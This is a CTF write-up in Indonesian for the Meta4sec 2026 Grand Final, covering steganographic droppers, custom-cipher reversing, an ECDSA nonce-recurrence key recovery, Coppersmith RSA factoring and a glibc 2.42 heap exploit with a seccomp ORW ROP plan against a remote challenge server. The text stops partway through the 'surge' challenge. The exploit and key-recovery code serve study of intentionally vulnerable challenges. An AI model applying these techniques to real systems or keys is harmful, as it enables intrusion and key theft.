H
Kembali ke Works
Writeup

Write-Up: Meta4sec CTF 2026 (Grand Final)

Meta4Sec CTF 2026 (Grand Final)
ctfforensicsreversecryptopwnwebmiscics-ot
Write-Up: Meta4sec CTF 2026 (Grand Final)

Penyelesaian 12 dari 13 soal Meta4sec CTF 2026 babak Grand Final, 2.850 poin — forensics, reverse engineering, cryptography, pwn, misc, web, dan ics/ot.

Writeup Meta4sec CTF 2026 (Grand Final)

Platform: hack.redlimit.id · Format flag: REDLIMIT{...} Solved: 12 dari 13 soal, 2.850 poin

Catatan singkat sebelum mulai: semua output terminal di writeup ini bukan hasil ketik ulang. Setelah babak selesai saya jalankan lagi semua solver dari nol, lalu output mentahnya saya render jadi gambar. Dua eksploit pwn juga saya tembak ulang ke server aslinya, jadi yang kelihatan di screenshot memang hasil koneksi beneran, bukan simulasi lokal.


Daftar Isi

#ChallengeKategoriLevelPoin
1Dropperforensicshard300
2Undetectedforensicsmedium150
3The Cipherreversehard300
4Feedbackreversemedium150
5Cakracryptohard300
6RSA Wayangcryptomedium150
7metamorphosispwnhard300
8surgepwnmedium150
9Kardus Susu Biasamischard300
10KontenKitawebmedium150
11NeuroFlowwebhard300
12Menara: Brankas Lt 2ics/othard300

Tiga di antaranya (Dropper, RSA Wayang, Kardus Susu Biasa) tidak ada yang berhasil memecahkan selama babak berlangsung. Satu soal belum selesai: is there a bitcoin? (osint, 150 poin).


1. Dropper

forensics · hard · 300 poin · by frozzipies · 0 solves File: server_capture.png

Web server produksi PT. Nusantara Data Sejahtera diketahui sudah dibobol berminggu-minggu. Saat tim forensic menyisir direktori /var/www/uploads, mereka menemukan satu file yang mencurigakan, sebuah screenshot bernama "server_capture.png" yang agak janggal.

Dugaan tim forensic, ini bukan gambar biasa, melainkan dropper atau file yang dipakai attacker untuk menyelundupkan komponen backdoor melewati antivirus. Sesuatu disembunyikan berlapis di dalamnya, dan di lapisan paling dalam diduga ada exfiltrate key yang dibuat sedemikian rupa supaya lolos dari segala jenis security check, baik dari sisi manusia, tools, atau bahkan AI.

Hint: Karakternya seperti hantu

Halaman soal Dropper

Soalnya punya tiga lapis, dan tiap lapis pakai teknik yang beda.


1.1 Lapis pertama: ada ZIP nempel di belakang PNG

file bilang ini PNG normal. Tapi ukuran filenya terasa kegedean untuk gambar 760x440, jadi saya telusuri struktur chunk-nya satu per satu.

file server_capture.png
# PNG image data, 760 x 440, 8-bit/color RGB, non-interlaced
import struct
d = open('server_capture.png','rb').read()
i = 8
while i < len(d):
    ln  = struct.unpack('>I', d[i:i+4])[0]
    typ = d[i+4:i+8].decode()
    print(f'{i:8d} {typ} len={ln}')
    if typ == 'IEND':
        end = i + 12
        break
    i += 12 + ln
print('byte setelah IEND:', len(d) - end)
open('trailer.bin','wb').write(d[end:])
       8 IHDR len=13
      33 tEXt len=30
      75 IDAT len=24382
   24469 IEND len=0
byte setelah IEND: 807

Ketemu. IEND itu penanda akhir file PNG, semua byte setelahnya sebenarnya sudah di luar gambar. Di sini ada 807 byte nyangkut. Viewer gambar cuek dan tetap menampilkan gambarnya seperti biasa, makanya file ini lolos begitu saja.

file trailer.bin
# Zip archive data, method=deflate, encrypted, uncompressed size 1916 -> database.php

Output solver Dropper


1.2 Lapis kedua: password ZIP-nya ada di pixel

ZIP-nya terenkripsi. Sempat kepikiran bruteforce, tapi rasanya bukan itu arahnya, soalnya gambarnya sendiri belum diperiksa sama sekali. Saya coba baca LSB tiap pixel.

from PIL import Image
im = Image.open('server_capture.png').convert('RGB')
w, h = im.size
px = im.load()

flat = []
for y in range(h):
    for x in range(w):
        flat.extend(px[x, y])          # R, G, B berurutan

bits = [v & 1 for v in flat]           # ambil bit paling kanan
out = bytearray()
for i in range(0, len(bits) - 7, 8):
    b = 0
    for j in range(8):
        b = (b << 1) | bits[i + j]     # MSB dulu
    out.append(b)

print(bytes(out[:40]))
b'zip_password=dr0pp3r_k3y_2026\x00\x00\x00...'

Langsung kebaca di percobaan pertama, tanpa perlu utak-atik urutan channel.

unzip -P 'dr0pp3r_k3y_2026' trailer.bin
# inflating: database.php

1.3 Lapis ketiga: karakter yang tidak ada wujudnya

Isi database.php kelihatan wajar, cuma file koneksi database biasa:

<?php
/**
 * Database connection handler
 * PT. Nusantara Data Sejahtera - internal portal
 * NOTE: do not commit real credentials to VCS.​‌​‌​​‌...
 */
define('DB_HOST', '127.0.0.1');
define('DB_USER', 'portal_svc');
define('DB_PASS', 'S3rv1c3_p4ss_2026!');
...
$ANALYTICS_TOKEN = 'a1f9c0d3e2b74856';

Ada password dan token analytics di situ, dan sempat saya kira itu jawabannya. Ternyata umpan. Keduanya tidak dipakai sama sekali.

Hint "karakternya seperti hantu" baru masuk akal setelah saya lihat panjang baris komentarnya tidak wajar. Di belakang kalimat NOTE: do not commit real credentials to VCS. ada 368 karakter yang tidak punya wujud visual sama sekali:

s = open('database.php', encoding='utf-8').read()
zw = [c for c in s if ord(c) in (0x200b, 0x200c)]

from collections import Counter
print(Counter(hex(ord(c)) for c in zw))
# Counter({'0x200b': 204, '0x200c': 164})  -> 368 karakter

bits = ''.join('0' if ord(c) == 0x200b else '1' for c in zw)
flag = ''.join(chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8))
print(flag)

Cuma dua jenis karakter yang dipakai, dan itu sudah cukup untuk jadi biner:

KarakterUnicodeBit
ZWSP (Zero Width Space)U+200B0
ZWNJ (Zero Width Non-Joiner)U+200C1

368 bit dibagi 8 pas dapat 46 karakter.

REDLIMIT{f0R3nSIC_H4RD_Dr0pp3RRRR_EzKan_IN111}

Bagian yang bikin soal ini menarik menurut saya bukan tekniknya, tapi implikasinya. Payload model begini tidak kelihatan waktu code review, tidak kena grep, dan di diff GitHub cuma tampil sebagai baris yang tidak berubah. Bisa nongkrong di repo bertahun-tahun tanpa ada yang sadar.

Flag: REDLIMIT{f0R3nSIC_H4RD_Dr0pp3RRRR_EzKan_IN111}


2. Undetected

forensics · medium · 150 poin · by frozzipies · 1 solve File: private-data.zip

PT. Nusantara Data Sejahtera dibobol. Data internal bocor ke luar, tapi sampai hari ini tim SOC tidak tahu dari mana penyerang masuk, tidak ada jejak exploit sama sekali di server, tidak ada koneksi mencurigakan di log firewall.

Perhatian tertuju pada satu arsip di laptop owner perusahaan bernama private-data.zip: data karyawan, sebuah foto internal, dan catatan kredensial. Payload dirancang supaya lolos dari semua antivirus, EDR, maupun XDR karena tidak memakai pola malware yang biasa dikenali mesin. Manusia harus turun tangan.

Payload terpecah menjadi tiga bagian, satu di tiap file. Gabungkan sesuai urutan.

Halaman soal Undetected

Langkah pertama yang selalu saya lakukan, cek tipe file satu-satu:

file *
# catatan_password.txt:      ASCII text
# data_perusahaan.pdf:       PDF document, version 1.4, 2 page(s)
# private_company_image.png: data          <-- ini aneh

PNG-nya terdeteksi sebagai data, artinya bukan PNG valid. Sudah dapat satu petunjuk gratis sebelum membuka apa-apa.

Output solver Undetected


2.1 Bagian pertama, di PDF

pdftotext -layout data_perusahaan.pdf - | grep REDLIMIT
                 REDLIMIT{H1dd3n_

Ditaruh di tengah daftar 100 karyawan, persis di bawah baris ke-50. Kalau cuma di-scroll pakai mata bakal kelewat, tapi grep langsung menemukannya.


2.2 Bagian kedua, ini yang butuh mata manusia

catatan_password.txt isinya catatan kredensial yang kelihatan normal:

admin-panel.corp.local   | root            | Adm!n#2024x
cpanel.hosting.net       | webadmin        | Cp@nel_887
Router-Kantor (Mikrotik) | admin           | Rtr0s_Secure!
0365-portal.corp         | it.support      | 0ffice#365pass
sftp-server 10.0.2.5     | deploy          | S3rver_deploy!
trello-workspace         | pm@corp         | Tr3llo_board22
1pass-vault-master       | cto             | 1P@ss_master_kie
cctv-nvr 10.0.9.20       | viewer          | Cctv#view_991
_nas-backup 10.0.3.7     | backupsvc       | _N@s_backup_00

Saya cek dulu apakah ada byte tersembunyi seperti di soal Dropper:

d = open('catatan_password.txt','rb').read()
print(sorted(set(d)))   # bersih, tidak ada zero-width, tidak ada trailing space

Kosong. Jadi payloadnya harus ada di teks yang kelihatan. Setelah dipelototi beberapa saat, baru sadar huruf pertama tiap barisnya membentuk sesuatu:

first = ''.join(l.split()[0][0] for l in open('catatan_password.txt') if l.strip())
print(first)   # acR0st1c_
BarisHuruf
admin-panel.corp.locala
cpanel.hosting.netc
Router-Kantor (Mikrotik)R
0365-portal.corp0
sftp-server 10.0.2.5s
trello-workspacet
1pass-vault-master1
cctv-nvr 10.0.9.20c
_nas-backup 10.0.3.7_

Yang rapi dari soal ini, nama host-nya dipilih supaya tetap masuk akal sebagai catatan asli. 0365 bukan O365, 1pass bukan onepass, dan _nas-backup underscore-nya terlihat seperti salah ketik biasa. Semuanya wajar kalau dibaca sepintas.


2.3 Bagian ketiga, PNG yang cuma rusak 4 byte

xxd private_company_image.png | head -1
# 00000000: 0000 0000 0d0a 1a0a 0000 000d 4948 4452  ............IHDR

Signature PNG yang benar itu 89 50 4E 47 0D 0A 1A 0A. Empat byte pertama diganti nol, sisanya utuh. Tinggal ditambal:

d = bytearray(open('private_company_image.png','rb').read())
d[0:4] = b'\x89PNG'
open('fixed.png','wb').write(d)

Saya cek CRC ketiga chunk-nya untuk memastikan tidak ada kerusakan lain, dan semuanya lolos:

     8 IHDR len=13    crc=OK
    33 IDAT len=11332 crc=OK
 11377 IEND len=0     crc=OK

Gambar setelah diperbaiki

Gambarnya memuat potongan terakhir: c4Rv3d_Akh1rny4_SOLVEDDD}


2.4 Digabung

REDLIMIT{H1dd3n_  +  acR0st1c_  +  c4Rv3d_Akh1rny4_SOLVEDDD}

Flag: REDLIMIT{H1dd3n_acR0st1c_c4Rv3d_Akh1rny4_SOLVEDDD}


3. The Cipher

reverse · hard · 300 poin · by admin · 1 solve File: crack_hard (ELF 64-bit, PIE, stripped)

The binary implements a custom block cipher, a small Substitution-Permutation Network over GF(2⁸): AddRoundKey → (SubBytes, MixColumns, AddRoundKey) × R. The S-box and the diffusion matrix are custom (not AES). Your input is encrypted in 4-byte blocks and compared to an embedded ciphertext. To solve you must recover the S-box, the matrix, and the round keys from the binary, compute the inverse S-box and the inverse matrix over GF(2⁸), then invert every round in reverse order. No byte-wise shortcut, the diffusion prevents it.

Halaman soal The Cipher

Binary-nya stripped dan semua logikanya di-inline ke main, jadi tidak ada satu pun nama fungsi yang bisa dijadikan pegangan:

Radare2 The Cipher

Untungnya konstanta tidak bisa disembunyikan, semuanya tetap harus ada di .rodata.


3.1 Mencari konstanta di rodata

objdump -s -j .rodata crack_hard

Alamat masing-masing blok ketahuan dari instruksi lea rip-relative di disassembly:

AlamatIsiUkuranKetahuan dari
0x2040ciphertext48 bytelea rdx,[rip+0xbf6] di loop pembanding
0x2070round key (6 × 4)24 bytelea rdi,[rip+0xe99], counter berhenti di 0x18
0x2090matriks difusi 4×416 bytelea r10,[rip+0xe48], r10 += 4 sampai 0x20a0
0x20a0S-box256 bytelea r13,[rip+0xef5], di-index pakai byte state

Panjang input harus 45 byte (cmp esi, 0x2d), diproses per 4 byte jadi 12 blok (cmp rdx, 0x30), dan jumlah rondenya 5 (counter [rsp+0x10] naik 4 sampai 0x18).


3.2 Menyusun ulang algoritmanya

Polanya mirip AES tapi blok cuma 4 byte:

state = input[4] XOR RK[0]
ulangi 5x:
    state = SBOX[state]
    state = M · state          # perkalian matriks di GF(2^8), poly 0x11b
    state ^= RK[r]
bandingkan dengan ciphertext[4]

Satu perbedaan dari AES, di sini kelima rondenya full. Tidak ada ronde terakhir yang MixColumns-nya dihilangkan.

Bagian yang sempat bikin ragu

128e:  lea  r14d, [rax+rax*1]     ; a*2, tapi tanpa mask 0xff
1292:  mov  r15d, r14d
1295:  xor  r15d, 0x1b
1299:  test al, al                ; cek bit-7 dari byte rendah saja
129e:  cmovs eax, r15d

Compiler tidak me-mask akumulatornya ke 8 bit, jadi nilainya makin membengkak tiap iterasi. Sempat saya kira ini varian GF yang tidak standar. Ternyata tidak berpengaruh: cek bit-7 pakai test al, al yang cuma melihat byte rendah, hasil akhir juga cuma ambil al, dan XOR tidak pernah membawa bit dari atas ke bawah. Perilakunya sama persis dengan xtime AES biasa.


3.3 Solver

d    = open('crack_hard','rb').read()
CT   = d[0x2040:0x2070]
RK   = d[0x2070:0x2088]
M    = d[0x2090:0x20a0]
SBOX = d[0x20a0:0x21a0]

assert len(set(SBOX)) == 256, 'sbox bukan permutasi'
INV = [0]*256
for i, v in enumerate(SBOX): INV[v] = i

def gm(a, b):                 # perkalian GF(2^8), poly 0x11b
    r = 0
    for _ in range(8):
        if b & 1: r ^= a
        hi = a & 0x80; a = (a << 1) & 0xff
        if hi: a ^= 0x1b
        b >>= 1
    return r

Mm = [[M[r*4+c] for c in range(4)] for r in range(4)]

# invers matriks 4x4 di GF(2^8), Gauss-Jordan biasa
def ginv(x):
    return next(y for y in range(1,256) if gm(x,y) == 1)

A = [row[:] + [1 if i==j else 0 for j in range(4)] for i,row in enumerate(Mm)]
for col in range(4):
    p = next(r for r in range(col,4) if A[r][col])
    A[col], A[p] = A[p], A[col]
    iv = ginv(A[col][col])
    A[col] = [gm(v, iv) for v in A[col]]
    for r in range(4):
        if r != col and A[r][col]:
            f = A[r][col]
            A[r] = [A[r][k] ^ gm(f, A[col][k]) for k in range(8)]
Minv = [row[4:] for row in A]

mul = lambda mat,s: bytes(gm(mat[r][0],s[0])^gm(mat[r][1],s[1])^
                          gm(mat[r][2],s[2])^gm(mat[r][3],s[3]) for r in range(4))
xor = lambda a,b: bytes(x^y for x,y in zip(a,b))

def dec(c):
    s = c
    for r in range(5, 0, -1):
        s = mul(Minv, xor(s, RK[4*r:4*r+4]))
        s = bytes(INV[b] for b in s)
    return xor(s, RK[0:4])

flag = b''.join(dec(CT[i:i+4]) for i in range(0,48,4))
print(flag.decode())

Matriksnya dan hasil inversnya:

M     = f9 96 47 77 / 0e 81 e1 9f / 8c dc ab e3 / 50 9c c2 28
M^-1  = 27 34 96 cb / 81 93 12 96 / 5a 04 83 1e / 12 fe 56 23

Output solver The Cipher

Flag: REDLIMIT{cu5t0m_5pn_gf256_mds_5b0x_ai_c4nt_h1de}


4. Feedback

reverse · medium · 150 poin · by admin · 2 solves File: crack_medium (ELF 64-bit, PIE, stripped)

A single check runs your input through a stateful keystream: a PRNG produces a per-byte key, and each byte is mixed with a running state that is fed back from previous bytes. There's also an anti-debug tamper check, attach a tracer and a key silently corrupts, so even the correct flag is rejected. Analyze it statically (or neutralize the check), reconstruct the PRNG, and invert the chain in order (you cannot solve bytes independently).

Halaman soal Feedback


4.1 Anti-debug-nya

Ini bagian yang paling saya suka dari soal ini:

1196:  call ptrace            ; PTRACE_TRACEME
11aa:  sar  rax, 0x3f         ; jadi 0 kalau sukses, -1 kalau sedang di-trace
11b1:  and  esi, 0x6b
11b4:  xor  esi, 0xffffffa5   ; hasilnya s awal = 0xa5 atau 0xce

Tidak ada crash, tidak ada pesan, tidak ada exit. Yang berubah cuma nilai awal state s. Kalau dijalankan di bawah debugger, program tetap jalan normal dan tetap bilang REJECTED walaupun flag-nya benar. Halus sekali.


4.2 Alur per byte

PRNG xorshift32:  x ^= x<<13 ;  x ^= x>>17 ;  x ^= x<<5
k = state & 0xff

t = rol8( ((inp[i] ^ k) + s) & 0xff , (i % 7) + 1 )    # harus == target[i]
s = (s + inp[i] + t) & 0xff                             # umpan balik

Rotasi (i % 7) + 1 di disassembly kelihatan ruwet karena compiler mengubah modulo jadi perkalian dan geser:

11ee:  imul rcx, rcx, 0x24924925
1201:  shr  rcx, 0x20
1208:  sub  eax, ecx
120d:  shr  eax, 1
120f:  add  eax, ecx
1211:  shr  eax, 0x2          ; eax = i / 7
1214:  lea  ecx, [rax*8+0x0]
121b:  sub  eax, ecx
121d:  lea  ecx, [rax+rdx*1+0x1]   ; ecx = (i % 7) + 1
1221:  rol  r8b, cl

Yang bikin solver-nya jadi pendek: semuanya bisa dihitung mod 256 saja. Registernya memang 32-bit, tapi hasil akhir cuma dibandingkan lewat r8b, dan penjumlahan maupun XOR tidak pernah membawa bit dari atas ke bawah. Bit tinggi bisa diabaikan total.


4.3 Membalik rantainya

Karena s bergantung pada byte sebelumnya, urutannya tidak bisa dilompati. Harus maju satu per satu dari indeks 0.

TARGET = bytes.fromhex(
    'c4d4f2e0e821026f807ba64aaa5e52bf'
    'aa10adae785e04efeeb3eed908d184cc'
    '29c4fcddfb5fbb81765bfd2aaf')

M = 0xffffffff
rol8 = lambda v,r: ((v << r) | (v >> (8-r))) & 0xff
ror8 = lambda v,r: ((v >> r) | (v << (8-r))) & 0xff

def prng(state):
    while True:
        x = state
        x ^= (x << 13) & M
        x ^= x >> 17
        x ^= (x << 5) & M
        state = x & M
        yield state

def solve(s0):
    g = prng(0x1f2e3d4c); s = s0; out = bytearray()
    for i, tgt in enumerate(TARGET):
        k = next(g) & 0xff
        u = ror8(tgt, (i % 7) + 1)      # batalkan rotasinya
        b = ((u - s) & 0xff) ^ k        # batalkan +s, lalu XOR kuncinya
        out.append(b)
        s = (s + b + tgt) & 0xff        # umpan balik pakai byte hasil rotasi
    return bytes(out)

print(solve(0xa5))   # 0xa5 = kondisi tidak di-trace
./crack_medium 'REDLIMIT{ch41n3d_prng_st4t3_x_f33db4ck_f1n4l}'
# ACCEPTED - that is the flag!

4.4 Efek samping yang lucu

Saya iseng menjalankan solver-nya dengan kedua nilai s awal, dan hasilnya di luar dugaan:

di-trace : b'{\x17\xa84\xf9\xad\xc9T{ch41n3d_prng_st4t3_x_f33db4ck_f1n4l}'
bersih   : b'REDLIMIT{ch41n3d_prng_st4t3_x_f33db4ck_f1n4l}'

Perbedaannya padam sendiri setelah 7 byte. Jadi kalau ada yang mengerjakan soal ini di bawah debugger, yang muncul bukan sampah acak, tapi flag yang benar dengan bagian REDLIMIT di depannya berantakan. Lebih menyesatkan daripada kalau rusak total, karena orang bisa mengira solver-nya yang salah, bukan sadar sedang di-trace.

Output solver Feedback

Flag: REDLIMIT{ch41n3d_prng_st4t3_x_f33db4ck_f1n4l}


5. Cakra

crypto · hard · 300 poin · by kac0 · 1 solve File: chall.py, output.txt

HSM Garuda modul Cakra menandatangani beberapa nota dinas dengan ECDSA (secp256k1). HSM memutarnya dengan sebuah rotor kuadratik. Kamu memegang transkrip lima tanda tangan dan sepotong kata rahasia turunan keluarga d.

Halaman soal Cakra


5.1 Letak bug-nya

k = int.from_bytes(os.urandom(32), "big") % N
for msg in MESSAGES:
    R = ec_mul(k, G); r = R[0] % N; z = H(msg)
    s = (inv(k, N) * (z + r * d)) % N
    sigs.append((msg, r, s))
    k = (c * k * k + e) % N          # nonce tidak pernah diacak ulang

Nonce-nya cuma diputar dengan k ← c·k² + e mod n, dan c maupun e tetap sama sepanjang lima tanda tangan. Ini yang jadi celahnya.


5.2 Idenya

Dari persamaan ECDSA s·k = z + r·d, tiap nonce bisa ditulis ulang:

$$k_i = \underbrace{z_i s_i^{-1}}{A_i} + \underbrace{r_i s_i^{-1}}{B_i},d$$

Jadi setiap k_i sebenarnya polinom derajat 1 terhadap d, satu-satunya yang belum diketahui.

Berikutnya buang e dengan mengurangkan dua langkah rotor yang berurutan:

$$k_{i+1} - k_i = c,(k_i^2 - k_{i-1}^2) = c,(k_i - k_{i-1})(k_i + k_{i-1})$$

Lalu buang c dengan menyamakan dua selisih itu dan kali silang:

$$(k_2-k_1)^2(k_2+k_1) ;-; (k_3-k_2)(k_1-k_0)(k_1+k_0) ;=; 0$$

Karena tiap k_i derajat 1, ruas ini jadi polinom derajat 3 dalam d dengan koefisien yang semuanya sudah diketahui. Lima tanda tangan memberi dua polinom seperti ini, dan di sinilah kenapa soalnya kasih lima, bukan empat.

d yang asli pasti jadi akar bersama keduanya, jadi:

$$\gcd(F_1, F_2) = d - d_{\text{asli}}$$

Euclid polinomial biasa di GF(n) sudah cukup. Tidak perlu Groebner basis, resultant, ataupun lattice, cuma butuh invers modular yang jelas ada karena n prima.


5.3 Solver

H = lambda m: int.from_bytes(hashlib.sha256(m).digest(),'big') % N

K = []                                  # k_i = A_i + B_i*d
for msg, r, s in SIGS:
    si = pow(s, -1, N)
    K.append([H(msg)*si % N, r*si % N])

def elim(i):
    d10 = psub(K[i+1], K[i]);   s10 = padd(K[i+1], K[i])
    d21 = psub(K[i+2], K[i+1]); s21 = padd(K[i+2], K[i+1])
    d32 = psub(K[i+3], K[i+2])
    return psub(pmul(pmul(d21,d21), s21), pmul(pmul(d32,d10), s10))

F1, F2 = elim(0), elim(1)               # dua polinom derajat 3
g = pgcd(F1, F2)                        # hasilnya derajat 1
d = (-g[0]) % N

assert ec_mul(d, (Gx,Gy)) == (Qx,Qy)    # dicocokkan ke kunci publik
key  = hashlib.sha256(b'cakra-hsm-key||' + d.to_bytes(32,'big')).digest()
flag = AES.new(key, AES.MODE_GCM, nonce=FLAG_NONCE).decrypt_and_verify(FLAG_CT, FLAG_TAG)

Aritmetika polinomialnya saya tulis sendiri (padd, psub, pmul, pmod, pgcd), jadi tidak perlu SageMath untuk soal ini.

Output solver Cakra

Dua verifikasi yang saya pakai: d·G == Q cocok dengan kunci publik, dan tag AES-GCM lolos autentikasi. Kalau d-nya salah, dua-duanya pasti gagal.

Flag: REDLIMIT{d0ubl3_3l1m1n4s1_c_d4n_e_pada_rot0r_kuadr4tik_cakr4}


6. RSA Wayang

crypto · medium · 150 poin · by kac0 · 0 solves File: output.txt

Pagelaran dalang digital. Lakonnya tampak seperti RSA biasa (N, e, c), tapi sang dalang menyelipkan 'sasmita' yang tak pernah menyebut dirinya siapa.

Halaman soal RSA Wayang

Isi filenya cuma empat baris:

N = 1323334714807430724405240657064935008597110755672830574672454525058926687674...
e = 65537
c = 7003876676729486971144159321992766489899123216711039327621306408430021855505...
sasmita = 6703680871594837898247720049088850572981765970502629886110179369100111347383...

Tantangannya bukan menghitung, tapi menebak sasmita itu apa. Soalnya memang sengaja tidak memberi tahu.


6.1 Menebaknya dari ukuran

Hal pertama yang saya cek selalu ukuran dan relasi dasarnya:

print('bits N =', N.bit_length())          # 1024, jadi p dan q masing-masing 512
print('bits s =', s.bit_length())          # 312
print('gcd(N,s) =', math.gcd(N, s))        # 1, bukan faktor
print('N % s == 0:', N % s == 0)           # False
print(512 - s.bit_length())                # 200

Angka 200 itu yang menarik. Kalau sasmita adalah bit-atas salah satu prima, berarti yang belum diketahui tinggal 200 bit. Batas Coppersmith untuk faktorisasi dengan bit parsial ada di N^(1/4) alias 256 bit, jadi 200 masih aman di bawahnya. Angkanya juga terlalu bulat untuk kebetulan.


6.2 Coppersmith

Kalau sasmita = p >> 200, maka:

$$p = \texttt{sasmita} \cdot 2^{200} + x, \qquad 0 \le x < 2^{200}$$

# SageMath
PR.<x> = PolynomialRing(Zmod(N))
f = (s * 2^200 + x).monic()
roots = f.small_roots(X=2^200, beta=0.4, epsilon=0.02)
p = gcd(N, ZZ(f(roots[0])))

beta=0.4 dipakai karena p besarnya sekitar N^0.5. Kena di percobaan pertama, jadi hipotesis bit-bawah tidak perlu dicoba sama sekali.

Output Sage RSA Wayang

p = 10772399829137012128786989950546987491958955665315918857897380481346291633554...
q = 12284493110143354287154932682484816959313249797738607124443410113589254166377...

Sisanya RSA biasa: d = e⁻¹ mod φ(N), lalu dekripsi.

Soal ini 0 solves, padahal begitu tahu sasmita itu MSB prima, sisanya cuma satu panggilan small_roots. Bagian susahnya memang murni di menebak, bukan di eksekusi.

Flag: REDLIMIT{c0pp3rsm1th_msb_pr1m4_d1b4l1k_l4k0n_w4y4ng}


7. metamorphosis

pwn · hard · 300 poin · by kac0 · 1 solve File: metamorphosis, libc.so.6 (glibc 2.42), ld-linux-x86-64.so.2 Remote: nc 165.99.163.102 13032

Note editor di atas glibc 2.42, dijalankan dengan tcache dinonaktifkan. Satu overflow kecil, tanpa win(), seccomp ORW.

Halaman soal metamorphosis


7.1 Yang dihadapi

Menunya note editor standar:

PilihanAksi
0keluar (main return)
1alloc, idx ≤ 9, 1 ≤ size ≤ 0x420
2edit, read(0, ptr[i], size[i] + 0x40)
3free, pointer di-NULL-kan
4show, write(1, ptr[i], size[i])

Bug-nya di menu edit, size[i] + 0x40. Overflow 64 byte ke chunk sebelahnya. Free-nya rapi, pointer langsung di-NULL, jadi tidak ada UAF.

Proteksi dan bug metamorphosis

Perhatikan dump .data di gambar itu. Ada nilai 0x71 nangkring di 0x4068, dan 0x4060 + 0x10 persis jatuh di awal tabel pointer catatan. Itu fake chunk header yang sudah disiapkan pembuat soal, tinggal diarahkan ke sana.

Seccomp-nya mengizinkan read, write, open, openat, close, lseek, fstat, newfstatat, brk, exit, exit_group. Tanpa mmap dan mprotect, jadi shellcode tidak mungkin, harus murni ROP.


7.2 Bocoran PIE

Gratis dari banner:

io.recvuntil(b'session token: ')
pie = int(io.recvline().strip(), 16) - 0x125c

7.3 Bocoran libc dan heap

alloc(0, 0x420)   # A
alloc(1, 0x18)    # penjaga, biar A tidak melebur ke top
alloc(2, 0x420)   # C
alloc(3, 0x18)    # penjaga

free(0)           # unsorted: A
free(2)           # unsorted: C -> A ; A->fd = arena, A->bk = C

alloc(0, 0x420)   # ukuran persis sama
leak   = show(0, 0x10)
arena  = u64(leak[0:8])     # libc
chunkC = u64(leak[8:16])    # heap

Kuncinya di request terakhir. Kalau ukurannya persis sama dengan chunk yang ada di unsorted bin, glibc mengembalikannya lewat jalur size == nb dan tidak membersihkan area datanya. Field fd dan bk masih utuh di sana, jadi satu show sudah memberi libc dan heap sekaligus.


7.4 Fastbin attack ke .data

alloc(4, 0x18)          # X : chunk 0x20 di chunkC
alloc(5, 0x68)          # V : chunk 0x70 di chunkC+0x20
V_fd = chunkC + 0x30
free(5)                 # fastbin[0x70] = V

protect = lambda pos, ptr: (pos >> 12) ^ ptr    # safe-linking glibc >= 2.32

edit(4, flat({
    0x10: p64(0),                       # prev_size V
    0x18: p64(0x71),                    # size V, dipertahankan
    0x20: p64(protect(V_fd, G)),        # fd V diarahkan ke fake chunk
}, filler=b'A', length=0x28))

alloc(5, 0x68)          # ambil V, kepala fastbin sekarang G
alloc(6, 0x68)          # dapat G+0x10 = &ptr[0]

Di sini saya sempat kejeblos. Header chunk V itu ada di offset 0x10 dari data X, bukan 0x18. Chunk 0x20 terdiri dari 0x10 header dan 0x10 usable, jadi tetangganya mulai di +0x10. Salah 8 byte saja malloc() langsung error, dan karena abort() memanggil syscall yang diblokir seccomp, prosesnya mati dengan SIGSYS. Bingung sesaat kenapa crash-nya aneh, ternyata cuma salah hitung offset.

Setelah dapat kendali atas tabel pointer, satu edit(6) bisa menulis ulang seluruh ptr[] dan size[]. Saya batasi tepat 0xa0 byte supaya stdout di 0x4110 tidak ikut tertimpa.


7.5 Mencari saved-RIP main

Awalnya saya cari alamat kembali main lewat offset __libc_start_call_main. Meleset, karena call rax di 0x2a04e ternyata bukan call site-nya.

Gantinya saya pakai cara yang tidak bergantung offset libc sama sekali: cari array filter seccomp milik main di stack lewat sidik jari 16 byte pertamanya.

# {0x20,0,0,4}          -> BPF_LD arch
# {0x15,1,0,0xc000003e} -> JEQ AUDIT_ARCH_X86_64
FINGERPRINT = bytes.fromhex('2000000004000000150001003e0000c0')
i = dump.find(FINGERPRINT)

# main push r13/r12/rbp/rbx (0x20) lalu sub rsp,0xa8, jadi saved RIP di rsp+0xc8
# filter ada di rsp+0x10, berarti saved RIP = alamat filter + 0xb8
ret_slot = (lo + i) + 0xb8

Cara ini lebih tahan banting karena filternya pasti ada di frame main apa pun versi libc-nya.


7.6 ROP dan dua jebakan penempatan string

Rantainya standar open, read, write, exit. Yang menghabiskan waktu justru menaruh nama filenya.

Percobaan pertama saya taruh di ret_slot + 0x400. Gagal, karena ljust tidak memotong string, jadi nama filenya ketimpa rantai ROP sendiri. Alamat itu juga sudah lewat puncak stack.

Percobaan kedua di ret_slot - 0x200. Juga gagal, dan ini lebih halus: stringnya berhasil ditulis, tapi keburu ketimpa frame printf dan fgets dari iterasi menu berikutnya, sebelum main sempat return.

Akhirnya saya taruh di .data yang menganggur, di area admin_token dan decoy_flag (0x4020). Ada 64 byte bebas di sana sebelum tabel catatan di 0x4060, dan tidak ada yang pernah menyentuhnya sepanjang program jalan.

Eksploit metamorphosis di remote

Flag: REDLIMIT{kepompong_h3ap_dip01s0n_bareng_m3ta4sec}


8. surge

pwn · medium · 150 poin · by kac0 · 1 solve File: surge, libc.so.6 (glibc 2.42) Remote: nc 165.99.163.102 13033

Request relay: satu word 8-byte menentukan segalanya. seccomp ketat pada apa yang boleh kamu baca.

Halaman soal surge


8.1 Dua bug

Format string di leaker():

120f:  call fgets            ; fgets(rsp, 0xa0, stdin)
1223:  call strcspn          ; buang newline
1238:  call printf           ; printf("hello, ")
1245:  call printf           ; printf(buf)   <-- ini bugnya

Stack overflow di main():

1634:  call read                      ; read(0, rsp, 8)
1639:  cmp  DWORD [rsp+0x4], 0xc0de   ; magic
1685:  mov  edx, DWORD [rsp]          ; panjang, dipakai mentah
1695:  call read                      ; read(0, rsp+0xe0, edx)

Satu word 8-byte itu ternyata dibaca sebagai dua nilai berbeda, [panjang:4][magic:4]. Kalau magic-nya cocok, panjangnya dipakai apa adanya sebagai count read(). Nama flag-nya sendiri mengonfirmasi ini, "union ketuker type".

sub rsp,0x138  ->  buffer rsp+0xe0 | canary rsp+0x128 | retaddr rsp+0x138
                   jarak ke canary  = 0x48
                   jarak ke retaddr = 0x58

8.2 Seccomp-nya, ini bagian terbaiknya

 4 JEQ read  -> idx 17          <- tidak langsung ALLOW
17 LD  args[0] low32
18 JEQ 0     -> idx 20
20 LD  args[0] high32
21 JEQ 0     -> ALLOW
22 RET KILL

read cuma lolos kalau fd == 0. Sementara write, open, openat, pread64, lseek, fstat, dan close diizinkan tanpa cek argumen sama sekali.

